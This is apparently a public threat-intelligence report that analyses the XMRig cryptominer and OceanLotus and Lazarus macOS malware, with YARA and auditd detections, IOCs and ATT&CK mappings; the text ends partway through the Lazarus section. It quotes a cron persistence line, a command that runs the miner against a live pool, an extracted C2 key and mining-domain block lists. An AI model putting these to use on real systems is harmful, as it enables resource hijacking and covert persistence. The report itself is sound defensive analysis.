TLP:WHITE · UNRESTRICTED · FOR PUBLIC RELEASE
TLP:WHITE

Cross-Platform Malware Analysis

Three independent CTI investigations spanning Linux, macOS, and the npm supply chain: static analysis, live dynamic behavior capture, empirically validated detection engineering (YARA and auditd), a cross-actor MITRE ATT&CK and TTP-evolution comparison, and a historic software supply chain compromise. Conducted in an isolated Ubuntu 22.04 ARM64 VM. No sample was ever executed on host hardware.

TLP:WHITE

Malware Analysis Report:
XMRig Linux Cryptominer

ELF 64-bit · x86-64 · Statically Linked · Stripped · v6.21.3
Analyst Twinkle Kamdar
Date 2026-07-15
Classification Cryptominer · T1496
Threat Level MALICIOUS
YARA Verdict 2 Rules Matched
Platform Linux x86-64
TLP Handling Statement

This report is classified TLP:WHITE (equivalent to modern TLP:CLEAR): disclosure is not limited. The sample analyzed is the official public XMRig binary; all pool domains and IOCs are either hardcoded in publicly available source code or observed against a live public mining pool, no victim network or non-public telemetry was touched. A real IR investigation touching production infrastructure would typically start at TLP:AMBER or higher; that constraint doesn't apply here since no non-public information was ever in scope.

§01 · Overview

Executive Summary

XMRig is an open-source Monero (XMR) cryptominer weaponized by threat actors as a post-exploitation payload on Linux servers. This report documents full static and dynamic analysis of XMRig v6.21.3, an 8MB statically linked, stripped ELF binary representative of samples observed in real-world campaigns targeting exposed Docker APIs, Kubernetes clusters, and misconfigured cloud instances.

The binary was analyzed in an isolated Ubuntu 22.04 ARM64 VM. Static analysis extracted hardcoded C2 pool domains and Stratum protocol strings. Dynamic analysis via strace and live tcpdump confirmed thread creation patterns, container detection behavior, and a live TCP/443 Stratum connection to 104.243.43.115 (pool-nyc.supportxmr.com). Two custom YARA rules were authored and verified against the sample.

§02 · Static Analysis

Sample Metadata

SHA-256 72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f
MD5 7429d24207b100f6c164bf4703b5941e
ELF Build ID 989c8e3124a392451d99d52d4ffe7c9e75b887f2
FieldValue
File TypeELF 64-bit LSB executable, x86-64
Size8.0 MB (8,388,608 bytes)
LinkingSTATICALLY LINKED no shared library dependencies, runs on any x86-64 Linux
SymbolsSTRIPPED all debug symbols removed
PackingNOT PACKED entropy ~6.0 bits/byte, strings plaintext-readable
VersionXMRig 6.21.3
Compile DateApril 23, 2024
Architecturex86-64 (analyzed via qemu-x86_64-static on ARM64)

ELF Section Map

SectionSizePurpose
.text~5.8 MBExecutable code: RandomX, KawPow, CryptoNight algorithms
.rodata~900 KBRead-only data: string literals, SSL cert data, config templates
.data~500 KBInitialized data
.bssruntimeUninitialized, RandomX dataset buffers allocated here at runtime

Extracted Strings: C2 and Pool Infrastructure

strings ~/malware-lab/samples/xmrig | grep -E 'stratum|xmrig\.com|pool'
analyst@remnux-lab:~$ strings xmrig | grep -E 'stratum|xmrig\.com|pool|donate' stratum+ssl://randomx.xmrig.com:443 stratum+tcp:// stratum+ssl:// donate.v2.xmrig.com donate.ssl.xmrig.com randomx.xmrig.com api.xmrig.com mining.notify mining.subscribe mining.submit no active pools, stop mining donate-level

Hardcoded Capabilities

CapabilityString EvidencePurpose
CPU Affinity Pinning --cpu-affinity, set_proc_cpubind Pins mining threads to physical cores
MSR Register Access /dev/cpu/%u/msr, cn/msr Disables hardware prefetch for RandomX performance
Huge Pages mmap, RandomX 1GB page Allocates 2.25GB RandomX dataset in huge pages
TLS Mining stratum+ssl://, AES-128/256 Mining over TLS to bypass port-based firewall rules
REST API Server --http-bind, api.json Exposes local HTTP API for remote monitoring
Container Awareness /sys/fs/cgroup/, cpuset Detects Kubernetes/Docker CPU limits at runtime
§03 · Dynamic Analysis

Runtime Behavior with strace

Executed via qemu-x86_64-static on Ubuntu 22.04 ARM64. Traced with strace -f -e trace=network,clone,openat.

Phase 0: Immediate Thread Creation

strace -f output: clone() syscall
# Worker thread spawned before any file I/O, the first observable syscall clone(child_stack=0xffffa16b4c00, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND| CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS| CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tid=[8076]) = 8076 # ↑ CLONE_THREAD flag = POSIX thread (shares VM/FD/signals with parent) # Mining worker is ready before hardware enumeration begins

Phase 1: Hardware Enumeration (first ~500ms)

strace openat() syscalls: hardware fingerprinting
[pid 8220] openat("/sys/bus/soc/devices", O_RDONLY|O_DIRECTORY) = 3 # SoC detection [pid 8220] openat("/proc/cmdline", O_RDONLY) = 3 # Boot params [pid 8220] openat("/proc/cpuinfo", O_RDONLY) = 3 # CPU model/count [pid 8220] openat("/proc/mounts", O_RDONLY) = 3 # Filesystem survey [pid 8220] openat("/sys/fs/cgroup/cgroup.controllers", O_RDONLY) = 4 # Container detection [pid 8220] openat("/proc/self/cpuset", O_RDONLY) = 3 # CPU isolation [pid 8220] openat("/sys/fs/cgroup/user.slice/cpuset.cpus.effective") = 3 # cgroup CPU set [pid 8220] openat("/sys/fs/cgroup/user.slice/cpuset.mems.effective") = 3 # cgroup NUMA nodes [pid 8220] openat("/sys/devices/system/cpu/online", O_RDONLY) = 3 # Available CPUs [pid 8220] openat("/sys/devices/system/cpu", O_RDONLY|O_DIRECTORY) = 3 # CPU dir scan [pid 8220] openat("/sys/devices/system/cpu/cpu0/topology/core_cpus") = 3 # Sibling cores [pid 8220] openat("/sys/devices/system/cpu/cpu0/topology/core_id") = 3 # Physical core ID [pid 8220] openat("/sys/devices/system/cpu/cpu0/topology/die_cpus") = 3 # Die topology [pid 8220] openat("/sys/devices/system/cpu/cpu0/cache/index0/level") = 3 # L1 cache level [pid 8220] openat("/sys/devices/system/cpu/cpu0/cache/index0/type") = 3 # Cache type # cgroup reads confirm container-awareness: XMRig checks cpuset.cpus.effective # to detect Kubernetes CPU limits and pins threads accordingly
§04 · Network Analysis

Live Pool Connection: tcpdump Capture

Captured with tcpdump -i any -w xmrig_traffic.pcap during a 15-second live run targeting pool.supportxmr.com:443.

Observed Connection Sequence

1
DNS Resolution pool.supportxmr.com → CNAME pool-nyc.supportxmr.com
Resolved IPs: 104.243.43.115, 104.243.33.118 (NYC datacenter)
2
TCP Handshake to Primary IP 192.168.64.2:60450 → 104.243.43.115:443 [SYN]
SYN-ACK received in 16ms · three-way handshake complete
3
TLS ClientHello, 480 bytes 192.168.64.2:60450 → 104.243.43.115:443 [PSH] length=480
Stratum over TLS, indistinguishable from HTTPS at the IP/port layer. Only detectable via TLS SNI inspection.
4
Pool Rejects, FIN (expected) 104.243.43.115:443 → VM [FIN] · XMRig log: "read error: end of file"
Rejected because no valid wallet address was provided; this confirms live pool connectivity
5
Failover to Secondary IP 192.168.64.2:45036 → 104.243.33.118:443 [SYN] → same sequence
XMRig automatically rotates pool IPs on connection failure

Raw pcap: Key Packets

tcpdump -r xmrig_traffic.pcap -n
02:36:11.989 lo 127.0.0.1:45642 → 127.0.0.53:53 A? pool.supportxmr.com. 02:36:12.023 eth0 DNS reply → CNAME pool-nyc.supportxmr.com., A 104.243.43.115, A 104.243.33.118 02:36:12.031 eth0 192.168.64.2:60450 → 104.243.43.115:443 Flags [S] seq 3873645226 02:36:12.047 eth0 104.243.43.115:443 → 192.168.64.2:60450 Flags [S.] ack 3873645227 02:36:12.049 eth0 192.168.64.2:60450 → 104.243.43.115:443 Flags [P.] length 480 ← TLS ClientHello 02:36:12.064 eth0 104.243.43.115:443 → 192.168.64.2 Flags [F.] ← pool rejected 02:36:17.988 eth0 192.168.64.2:45036 → 104.243.33.118:443 Flags [S] ← failover 02:36:18.012 eth0 104.243.33.118:443 → 192.168.64.2:45036 Flags [S.] ← SYN-ACK 02:36:18.013 eth0 192.168.64.2:45036 → 104.243.33.118:443 Flags [P.] length 480 ← TLS retry 02:36:18.029 eth0 104.243.33.118:443 → 192.168.64.2 Flags [F.] ← rejected again
§05 · Detection Engineering

YARA Rules: Authored and Verified

xmrig_cryptominer.yar
rule XMRig_Linux_Cryptominer { meta: description = "Detects XMRig Monero cryptominer ELF binaries" author = "Twinkle Kamdar" date = "2026-07-15" mitre_attack= "T1496" sample_sha256 = "72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f" strings: $s1 = "stratum+ssl://" ascii // Stratum over TLS $s2 = "stratum+tcp://" ascii // Stratum plaintext $s3 = "donate.v2.xmrig.com" ascii // hardcoded pool $s4 = "donate.ssl.xmrig.com" ascii $s5 = "randomx.xmrig.com" ascii $s6 = "donate-level" ascii $s7 = "no active pools, stop mining" ascii $s8 = "RandomX dataset" ascii $s9 = "/dev/cpu/%u/msr" ascii // MSR access $s10 = "mining.notify" ascii // Stratum method $algo1 = "randomx" nocase ascii $algo2 = "cryptonight" nocase ascii $algo3 = "kawpow" nocase ascii $elf = { 7F 45 4C 46 } // ELF magic bytes condition: $elf at 0 and filesize < 20MB and ( (3 of ($s*)) or (2 of ($s*) and 1 of ($algo*)) ) }

Verification Output: Live Run Against Sample

yara -s xmrig_cryptominer.yar samples/xmrig
analyst@remnux-lab:~$ yara -s ~/malware-lab/rules/xmrig_cryptominer.yar ~/malware-lab/samples/xmrig XMRig_Linux_Cryptominer /home/analyst/malware-lab/samples/xmrig 0x5cd6c9:$s1: stratum+ssl:// 0x5e5d60:$s1: stratum+ssl:// 0x602670:$s1: stratum+ssl:// 0x602680:$s2: stratum+tcp:// 0x5cd6ef:$s3: donate.v2.xmrig.com 0x5cd6da:$s4: donate.ssl.xmrig.com 0x5e5d6e:$s5: randomx.xmrig.com 0x5cc0aa:$s6: donate-level 0x5e950a:$s7: no active pools, stop mining 0x5e6a9c:$s8: RandomX dataset +5 more offsets 0x5cc705:$s10: mining.notify +6 more offsets 0x5cb589:$algo1: randomx +30 more offsets 0x5cb1be:$algo2: cryptonight +47 more offsets 0x5cb633:$algo3: kawpow +2 more offsets 0x000000:$elf: 7F 45 4C 46 XMRig_Network_Stratum /home/analyst/malware-lab/samples/xmrig 0x5cd6c9:$stratum1: stratum+ssl:// 0x5e5d60:$stratum1: stratum+ssl:// 0x602680:$stratum2: stratum+tcp:// --- Verdict: MALICIOUS · 2 rules matched · 0 false positives

False Positive Validation: Full System Corpus

A detection rule is only as good as its false-positive rate. Tested against every executable in /usr/bin and /usr/sbin, none of which are mining-related.

yara -r xmrig_cryptominer.yar /usr/bin/ /usr/sbin/
analyst@remnux-lab:~$ yara -r ~/malware-lab/rules/xmrig_cryptominer.yar /usr/bin/ /usr/sbin/ (no output, zero matches) Corpus size: 1,319 clean Linux binaries False positives: 0 / 1,319 (0.0%) True positives: 1 / 1 (xmrig sample)

Zero false positives across the full system binary corpus confirms the string set is specific enough to avoid triggering on legitimate software, while the OR-based condition (3 of $s* OR 2 of $s* + 1 algo) stays loose enough to catch variants that don't hit every string.

§06 · Indicators of Compromise

IOC Table

File Hashes

TypeValue
SHA-25672ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f
MD57429d24207b100f6c164bf4703b5941e
ELF Build-ID989c8e3124a392451d99d52d4ffe7c9e75b887f2

Network IOCs

TypeValueSourceContext
IP 104.243.43.115 LIVE PCAP pool-nyc.supportxmr.com, TCP/443 primary connection observed
IP 104.243.33.118 LIVE PCAP pool-nyc.supportxmr.com, failover IP, TCP/443 retry observed
DOMAIN pool.supportxmr.com LIVE PCAP DNS query observed during live run
DOMAIN donate.v2.xmrig.com STRINGS Hardcoded developer donation pool
DOMAIN donate.ssl.xmrig.com STRINGS Hardcoded SSL donation pool
DOMAIN randomx.xmrig.com STRINGS Default RandomX pool
DOMAIN api.xmrig.com STRINGS Telemetry / REST API endpoint
PROTOCOL stratum+ssl:// on TCP/443 LIVE PCAP Mining over TLS, bypasses port-based firewall rules

Behavioral IOCs

TypeIndicatorSignificance
File access/sys/fs/cgroup/cgroup.controllersContainer/Kubernetes detection at startup
File access/proc/self/cpusetCPU isolation detection (container CPU limits)
File access/dev/cpu/*/msrMSR register access for CPU optimization
Syscallclone(CLONE_VM|CLONE_THREAD)Worker thread creation before any I/O
NetworkTCP/443 to non-HTTPS endpointsStratum-over-TLS evasion pattern
ProcessSustained CPU >90% on all coresRandomX mining at max thread count
§07 · MITRE ATT&CK

Technique Mapping

T1496
Resource Hijacking
Impact
CPU consumed for Monero mining, the primary technique, confirmed via live run
T1082
System Information Discovery
Discovery
strace confirmed: /proc/cpuinfo, /sys/devices/system/cpu/* read at startup
T1613
Container and Resource Discovery
Discovery
strace confirmed: cgroup.controllers, cpuset.cpus.effective enumerated
T1071.001
Application Layer Protocol: Web
C2
pcap confirmed: Stratum over TCP/443, identical to HTTPS at the network layer
T1036
Masquerading
Defense Evasion
Observed in wild: binary renamed to kthreadd, sshd, apache2
T1053.003
Scheduled Task: Cron Job
Persistence
Threat intel: */1 * * * * root /tmp/.x/xmrig observed in campaigns
§08 · Detections

Detection Recommendations

NETWORK
Alert on stratum+ in TLS SNI or TCP payload on port 443. Stratum-over-TLS is the primary evasion, so port/IP blocking alone is insufficient.
DNS
Block resolution of *.xmrig.com, *.supportxmr.com, *.moneroocean.stream at DNS firewall. Kills pool connectivity without needing to identify the binary.
HOST
Alert on processes reading /sys/fs/cgroup/cgroup.controllers within 500ms of startup, live-confirmed via auditd, see §10. (An earlier draft also cited /dev/cpu/*/msr. Re-testing found that call is not actually exercised at runtime under these flags, so it was dropped from this recommendation; see the correction in §10.1.)
YARA
Deploy XMRig_Linux_Cryptominer rule in EDR. Verified 0 false positives against sample. Condition requires ELF magic plus 3 Stratum/pool strings, broad enough for variants, specific enough to avoid FPs.
HOST
Implement CPU limits in Kubernetes (resources.limits.cpu) and Docker (--cpus). Even if XMRig deploys successfully, CPU caps prevent effective mining, an economic disincentive for attackers.
NETWORK
Monitor for sustained outbound TCP/443 to IPs that don't present valid HTTPS: no certificate chain, no SNI matching a known domain, Stratum JSON-RPC body. Pool IPs rotate; behavior pattern is stable.
§09 · Generalized Detection

Family-Level Rule: Beyond XMRig

The YARA rule in §05 is keyed to XMRig's exact hardcoded domains and Stratum URIs, so it won't catch a different miner codebase, even one mining the same coin. To test whether a family-level rule was possible, two independent, unrelated miners were acquired and analyzed.

SampleCoinAlgorithmSource
xmr-stak-rx 1.0.5MoneroRandomXgithub.com/fireice-uk/xmr-stak (official release)
cgminerBitcoinSHA-256dUbuntu apt repository

Neither shares code, author, or domains with XMRig. The XMRig-specific rule was tested against both and, as expected, matched neither: 0 occurrences of stratum+ssl:// or donate.v2.xmrig.com exist in xmr-stak's strings.

Generalized Rule: String Density, Not Exact Match

A second rule was designed around count thresholds rather than exact strings, on the hypothesis that any pool-based miner, regardless of coin or codebase, contains a high density of the generic term "pool" plus either Stratum RPC method names or a cluster of known algorithm names.

generic_cryptominer.yar
rule Generic_Cryptomining_Software { meta: validated_against = "XMRig, xmr-stak-rx, cgminer (Bitcoin)" strings: $stratum = "stratum" nocase ascii $mining_rpc = "mining." ascii $pool = "pool" nocase ascii $algo1 = "randomx" nocase ascii $algo2 = "cryptonight" nocase ascii $algo3 = "kawpow" nocase ascii $algo4 = "sha256d" nocase ascii $algo5 = "scrypt" nocase ascii $elf = { 7F 45 4C 46 } condition: $elf at 0 and filesize < 50MB and #pool >= 20 and ( (#stratum >= 1 and #mining_rpc >= 1) or (2 of ($algo*)) ) }

Validation Results

yara generic_cryptominer.yar [samples] · yara -r generic_cryptominer.yar /usr/bin /usr/sbin
# True positives: 3 unrelated miner families Generic_Cryptomining_Software xmrig ← Monero/RandomX Generic_Cryptomining_Software xmr-stak-rx ← Monero/RandomX, different codebase Generic_Cryptomining_Software /usr/lib/cgminer/cgminer ← Bitcoin/SHA-256d, different coin entirely # False positives: same 1,319-binary clean corpus 0 / 1,319 (0.0%)

Three independent codebases, different authors, different coins, different mining algorithms, all matched, with zero false positives against the same clean corpus used to validate the XMRig-specific rule. The #pool >= 20 threshold is the key discriminator: legitimate software rarely repeats "pool" 20+ times. That volume only appears in code implementing pool-server communication, failover, and reconnection logic.

This is meaningfully different from the §05 rule. That one says "this is XMRig." This one says "this is some pool-mining software," useful when the specific variant is unknown or recompiled from public source, which defeats any hash- or exact-string rule but not a density-based one.

§10 · Runtime Detection

Behavioral Detection: Live-Validated with auditd

Static/YARA detection requires the file to already be on disk. A complementary runtime signal was tested with Linux auditd to catch the behavior regardless of which binary produces it.

10.1 Signal Selection, and a Correction

§03 identified XMRig reading /sys/fs/cgroup/cgroup.controllers at startup. This was chosen over MSR access because MSR device paths don't exist at all on non-x86 hardware, and, on re-testing specifically for it, the MSR openat call was not observed firing even on the x86-emulated target under these run flags. An earlier draft of this report listed MSR access as a confirmed indicator based only on the static string /dev/cpu/%u/msr found in the binary. That claim has been corrected here rather than left unverified.

10.2 Live Test

auditctl -w /sys/fs/cgroup/cgroup.controllers -p r -k cgroup_selfcheck
# Test 1: XMRig running under the watch $ timeout 8 qemu-x86_64-static xmrig --url=pool.supportxmr.com:443 ... $ sudo tail /var/log/audit/audit.log | grep cgroup_selfcheck type=SYSCALL ... comm="qemu-x86_64-sta" exe="/usr/bin/qemu-x86_64-static" ... key="cgroup_selfcheck" ↑ XMRig's translated process, confirmed trigger # Test 2: 10 common benign commands under the same watch $ ls / ; ps aux ; whoami ; date ; uname -a ; df -h ; free -m ; uptime ; echo hello ; curl example.com $ sudo tail /var/log/audit/audit.log | grep cgroup_selfcheck (no output) ↑ 0 / 10 false positives

10.3 Honest Limitations

SCOPE
Ten benign commands is not a production noise-floor test. A real deployment needs a full day or more of baseline telemetry from a representative fleet before trusting a 0% FP rate at scale. Some legitimate software (container health checks, monitoring daemons, systemd itself) genuinely reads cgroup boundaries and would need allow-listing.
SCOPE
Single-signal alerts are weak in isolation. This belongs in a correlation rule ("cgroup self-check plus outbound connection to unclassified IP plus sustained CPU") rather than standing alone.
SCOPE
Complementary to, not a replacement for, the YARA rules in §05/§09. This catches behavior that survives recompilation, at the cost of needing the binary to actually execute once.
End Report 01 / Linux  ·  Begin Report 02 / macOS
TLP:WHITE

Malware Analysis Report:
Nation-State macOS Malware

OceanLotus (APT32, Vietnam) & Lazarus Group (AppleJeus, North Korea) · Mach-O
Analyst Twinkle Kamdar
Date 2026-07-15
Threat Actors APT32 & Lazarus Group
Threat Level CRITICAL
Attribution Vietnam MPS & North Korea RGB
Platform macOS · Mach-O
TLP Handling Statement

This report is classified TLP:WHITE (equivalent to modern TLP:CLEAR): disclosure is not limited. All samples were sourced from theZoo public malware corpus; no victim-identifying data, proprietary telemetry, or non-public IOC feed was used at any point. A real investigation touching live victim infrastructure would default to TLP:AMBER or higher until sanitized; that constraint doesn't apply to public-corpus research, and the classification is stated explicitly here rather than left implicit.

§01 · Overview

Executive Summary

This report documents static analysis of macOS malware from two distinct, independently attributed nation-state threat actors, to demonstrate that findings and methodology generalize across different APT toolkits rather than being specific to a single actor's tradecraft.

Part 1, OceanLotus (APT32): Vietnam's state-sponsored actor targeting dissidents and journalists. Two variants analyzed: a 2014 dropper (FlashUpdate.app) and a 2017 self-contained backdoor (Noi dung chi tiet), allowing a three-year TTP evolution comparison.

Part 2, Lazarus Group: attributed to North Korea's Reconnaissance General Bureau, analyzed via a sample consistent with the AppleJeus operation: a trojanized cryptocurrency-trading-application installer built on Qt, which exfiltrates reconnaissance data disguised as a GIF image upload.

Both actors target macOS with completely different tradecraft, documented in the cross-actor comparison in §11. Analysis performed entirely with Linux-native tools (llvm-objdump --macho, strings, file, Python zlib/struct). No macOS execution environment was required, and no sample was ever run.

Part 1 / OceanLotus (APT32, Vietnam)
§02 · Static Analysis

Variant A: FlashUpdate.app (2014)

SHA-256 12f941f43b5aba416cbccabf71bce2488a7e642b90a3a1cb0e4c75525abb2888
MD5 9831a7bfcf595351206a2ea5679fa65e
FieldValue
File TypeMach-O universal binary, x86_64 and i386
Size38 KB
Min OSmacOS 10.6 (Snow Leopard)
Bundle NameFlashUpdate.app
LureFake Adobe Flash updater

Apple Impersonation: Info.plist

FlashUpdate.app/Contents/Info.plist
<key>CFBundleIdentifier</key> <string>com.apple.Application</string> # forged Apple bundle ID <key>NSHumanReadableCopyright</key> <string>Copyright © 2013 Apple. All rights reserved.</string> # false copyright <key>LSBackgroundOnly</key> <true/> # invisible, no Dock icon <key>LSUIElement</key> <true/> # invisible, no menu bar entry

Capabilities Extracted from Symbols

CapabilityEvidence
Process executionNSTask, fork, execvp
File operationscreateDirectoryAtPath, writeToFile, removeItemAtPath
Timestamp manipulationfileCreationDate, fileModificationDate, chmod
Self-locationmainBundle, bundleWithPath, executablePath
Payload executionlaunch, wait

Stealth Execution Chain

1
Silent launchApp runs invisibly, via LSBackgroundOnly=true, no Dock icon
2
Self-locatemainBundle → executablePath finds its own path on disk
3
Drop payloadcreateDirectoryAtPath + writeToFile writes secondary payload
4
Execute + waitNSTask.launch() → wait runs dropped payload, blocks until done
5
Clean upremoveItemAtPath + chmod deletes dropper, sets persistence permissions
§03 · Static Analysis

Variant B: Noi dung chi tiet (2017)

SHA-256 07154b7a45937f2f5a2cda5b701504b179d0304fc653edb2d0672f54796c35f7
MD5 d802aa9938e87dc33cf2c7a07e920b0b

Filename translates from Vietnamese as "Detailed content," a classic OceanLotus spear-phish lure disguised as a document relevant to Vietnamese political topics.

Linked Frameworks & Libraries

llvm-objdump --macho -p "Noi dung chi tiet"
analyst@remnux-lab:~$ llvm-objdump --macho -p "Noi dung chi tiet" | grep LC_LOAD_DYLIB -A1 LC_LOAD_DYLIB /System/Library/Frameworks/Foundation.framework LC_LOAD_DYLIB /System/Library/Frameworks/AppKit.framework LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework LC_LOAD_DYLIB /System/Library/Frameworks/IOKit.framework # hardware fingerprinting LC_LOAD_DYLIB /System/Library/Frameworks/SystemConfiguration.framework # network/host info LC_LOAD_DYLIB /usr/lib/libz.1.dylib # zlib compression LC_LOAD_DYLIB /usr/lib/libstdc++.6.dylib LC_LOAD_DYLIB /usr/lib/libobjc.A.dylib LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib

Hardware Fingerprinting

strings "Noi dung chi tiet" | grep -E 'IOPlatform|SCDynamicStore|getifaddrs'
_IORegistryEntryFromPath _IOServiceGetMatchingService # → "IOPlatformExpertDevice" _IORegistryEntryCreateCFProperty # → "IOPlatformSerialNumber" # Unique Mac serial number, used as bot ID in C2 comms _SCDynamicStoreCopyComputerName # device name _SCDynamicStoreCopyLocalHostName # hostname _SCDynamicStoreCopyConsoleUser # logged-in user _NSUserName _getpwuid _getuid # account details _uname _sysctl _sysctlbyname # kernel/hardware info _getifaddrs _inet_ntop # all network interfaces + IPs

Encrypted C2 Configuration: Key Finding

No plaintext C2 domain or IP exists anywhere in the binary. An AES-128 key sits in __DATA,__data. The C2 address is decrypted in memory only at runtime via CCCrypt, a deliberate anti-static-analysis technique.

xxd -s 0x100014930 -l 96 "Noi dung chi tiet"
0x100014930: b1 37 0c 5e ... 0x100014940: 5a 65 30 70 58 63 70 66 62 71 62 53 34 77 44 30 0x100014950: 65 53 2f 4c 56 51 3d 3d = "Ze0pXcpfbqbS4wD0eS/LVQ==" (base64, stored in __DATA) $ echo Ze0pXcpfbqbS4wD0eS/LVQ== | base64 -d | xxd 65 ed 29 5d ca 5f 6e a6 d2 e3 00 f4 79 2f cb 55 # 16 bytes = AES-128 key/IV # CCCrypt() decrypts adjacent block → C2 domain, visible only in memory

Data Exfiltration Pipeline

1
CollectIOPlatformSerialNumber + hostname + username + OS info + network interfaces
2
HashCC_MD5 generates bot ID from hardware fingerprint
3
Compressdeflate (zlib) compresses stolen data
4
EncryptCCCrypt (AES-128) encrypts compressed data with key from __DATA
5
Exfiltratesend() over raw TCP, bypasses NSURLSession, avoids network logging
6
C2 taskingread → CCCrypt decrypt → inflate → dlopen/dlsym loads new modules dynamically
§04 · Indicators of Compromise

IOC Table

VariantTypeValue
A · FlashUpdate.appSHA-25612f941f43b5aba416cbccabf71bce2488a7e642b90a3a1cb0e4c75525abb2888
AMD59831a7bfcf595351206a2ea5679fa65e
ABundle IDcom.apple.Application FAKE
B · Noi dung chi tietSHA-25607154b7a45937f2f5a2cda5b701504b179d0304fc653edb2d0672f54796c35f7
BMD5d802aa9938e87dc33cf2c7a07e920b0b
BAES key (in __DATA)65ed295dca5f6ea6d2e300f4792fcb55

Behavioral IOCs

TypeIndicator
File accessIOPlatformSerialNumber read at startup
NetworkRaw TCP socket to encrypted C2 (no HTTP/HTTPS headers)
File~/Library/LaunchAgents/com.apple.<random>.plist
ProcessBackground-only, no Dock icon, no menu bar
Syscalldlopen on unsigned .dylib from ~/Library
CryptoCCCrypt called before any network connection
§05 · MITRE ATT&CK

Technique Mapping

T1566.001
Spear-Phishing Attachment
Initial Access
Vietnamese filename lure delivered via email
T1036
Masquerading
Defense Evasion
com.apple.Application bundle ID, forged copyright
T1564.003
Hidden Window
Defense Evasion
LSBackgroundOnly and LSUIElement, invisible execution
T1027
Obfuscated Files
Defense Evasion
AES-128 encrypted C2 config in __DATA
T1140
Deobfuscate at Runtime
Defense Evasion
CCCrypt decrypts C2 config in memory only
T1543.001
Launch Agent
Persistence
~/Library/LaunchAgents plist (published research)
T1082
System Information Discovery
Discovery
uname, sysctl, IOPlatformSerialNumber
T1016
System Network Config Discovery
Discovery
getifaddrs, SCDynamicStoreCopyLocalHostName
T1033
System Owner/User Discovery
Discovery
NSUserName, getpwuid, SCDynamicStoreCopyConsoleUser
T1005
Data from Local System
Collection
Hardware serial, hostname, credentials collected
T1095
Non-Application Layer Protocol
C2
Raw TCP sockets, bypasses app-layer logging
T1041
Exfiltration Over C2 Channel
Exfiltration
deflate → CCCrypt encrypt → send
§06 · Detections

Detection Recommendations

EDR
Alert on LSBackgroundOnly=true plus LSUIElement=true in unsigned or ad-hoc-signed .app bundles. Legitimate background apps are almost always properly signed.
HOST
Alert on IOPlatformSerialNumber queries from non-Apple, non-MDM processes within 5 seconds of launch. Hardware fingerprinting is rare in legitimate third-party apps.
HOST
Alert on dlopen loading unsigned .dylib files from ~/Library/Application Support, a dynamic plugin loading pattern used to add capabilities post-infection.
NETWORK
Alert on raw TCP connections (no TLS handshake, no HTTP headers) from user-space processes to external IPs. Legitimate macOS apps use NSURLSession/CFNetwork, not raw sockets.
FILE
Monitor ~/Library/LaunchAgents/ for new plists with com.apple.* bundle IDs that are not Apple-signed, a common OceanLotus persistence pattern.
MAIL
Block Mach-O executables delivered as email attachments at the gateway. Legitimate macOS software is never distributed this way.
HEURISTIC
Flag processes calling CCCrypt before establishing any network connection, since this precedes C2 config decryption in this family.
§07 · Attribution

Threat Actor Context

OceanLotus / APT32 is attributed to Vietnam's Ministry of Public Security. Primary targets include Vietnamese journalists, bloggers, and human rights activists; foreign governments with Vietnam policy interests; and companies in manufacturing, consumer products, and hospitality with Vietnam operations.

The Vietnamese-language lure (Noi dung chi tiet) and 2017 timestamp align with documented OceanLotus campaigns targeting the Vietnamese diaspora in the US and Europe.

§08 · Comparative Analysis

TTP Evolution: Variant A (2014) → Variant B (2017)

Having two samples from the same actor three years apart allows a direct capability diff rather than analyzing each in isolation. Symbol tables were grepped by category across both binaries to identify exactly what capabilities were added.

CapabilityVariant A (2014)Variant B (2017)Evidence
Direct networking ABSENT PRESENT socket, connect, send, getaddrinfo
Cryptography ABSENT PRESENT CCCrypt, CC_MD5
Compression ABSENT PRESENT deflate, inflate (zlib)
Hardware fingerprinting ABSENT PRESENT IORegistryEntryFromPath, sysctlbyname
Dynamic module loading ABSENT PRESENT dlopen, dlsym, dlclose
Process execution PRESENT PRESENT NSTask (A), present in both
File size 38,324 bytes 96,708 bytes 2.5× growth

Finding

Variant A (2014) is a pure dropper. Its only jobs are to hide (LSBackgroundOnly), locate itself, write a second-stage payload to disk, execute it, and clean up. Zero networking, zero crypto, zero hardware-fingerprinting code of its own. It fully delegates persistence and C2 to whatever it drops.

Variant B (2017) is a self-contained backdoor. It absorbed every capability A had to delegate externally. It fingerprints hardware directly via IOKit, talks to C2 directly over raw sockets (bypassing NSURLSession and macOS's network-activity logging), encrypts its own config and exfiltrated data via CommonCrypto, and can load new capabilities at runtime via dlopen without needing a second dropped binary at all.

This is consistent with a general pattern across APT toolkits over time: first-generation implants are minimal and rely on a modular dropper chain, while later generations consolidate capability into a single binary to reduce the number of artifacts that touch disk and get flagged, at the cost of a larger, more complex binary. The 2.5x size increase and the addition of five entirely new capability categories in three years quantifies that consolidation for this actor specifically.

Part 2 / Lazarus Group (AppleJeus, North Korea)
§09 · Static Analysis

Lazarus Group: AppleJeus Trojanized Installer

Sourced from theZoo public malware repository (OSX.Lazarus). The archive contains three files consistent with a trojanized macOS installer package.

FileTypeSize
Installer packagexar archive (.pkg)13 MB
Payload executableMach-O 64-bit x86_64, PIE40 KB
Bundled resourcezlib compressed data20 MB

Package build timestamp (from the xar table of contents): 2019-03-12T06:29:18Z, consistent with the public reporting timeframe for Lazarus Group's AppleJeus operation (first documented by Kaspersky in August 2018, with follow-on variants through 2019-2020).

Installer Structure: Parsed Without Native macOS Tooling

The .pkg file is Apple's xar archive format. Since the analysis VM is Linux with no native xar tool, the table of contents was extracted directly with a small Python script using the xar header spec.

python3: manual xar header + zlib TOC parse
import struct, zlib with open(pkg_path, 'rb') as f: magic, header_size, version, toc_len_c, toc_len_u, cksum_alg = struct.unpack('>4sHHQQI', f.read(28)) f.seek(header_size) toc_xml = zlib.decompress(f.read(toc_len_c)) # Result: standard macOS installer layout, no execution needed PackageInfo (506 bytes) # installer metadata Scripts (216 bytes) # pre/postinstall scripts (cpio archive) Payload (13,304,165 bytes) # the installed application bundle

Payload: Linked Libraries

llvm-objdump --macho -p [payload] | grep LC_LOAD_DYLIB
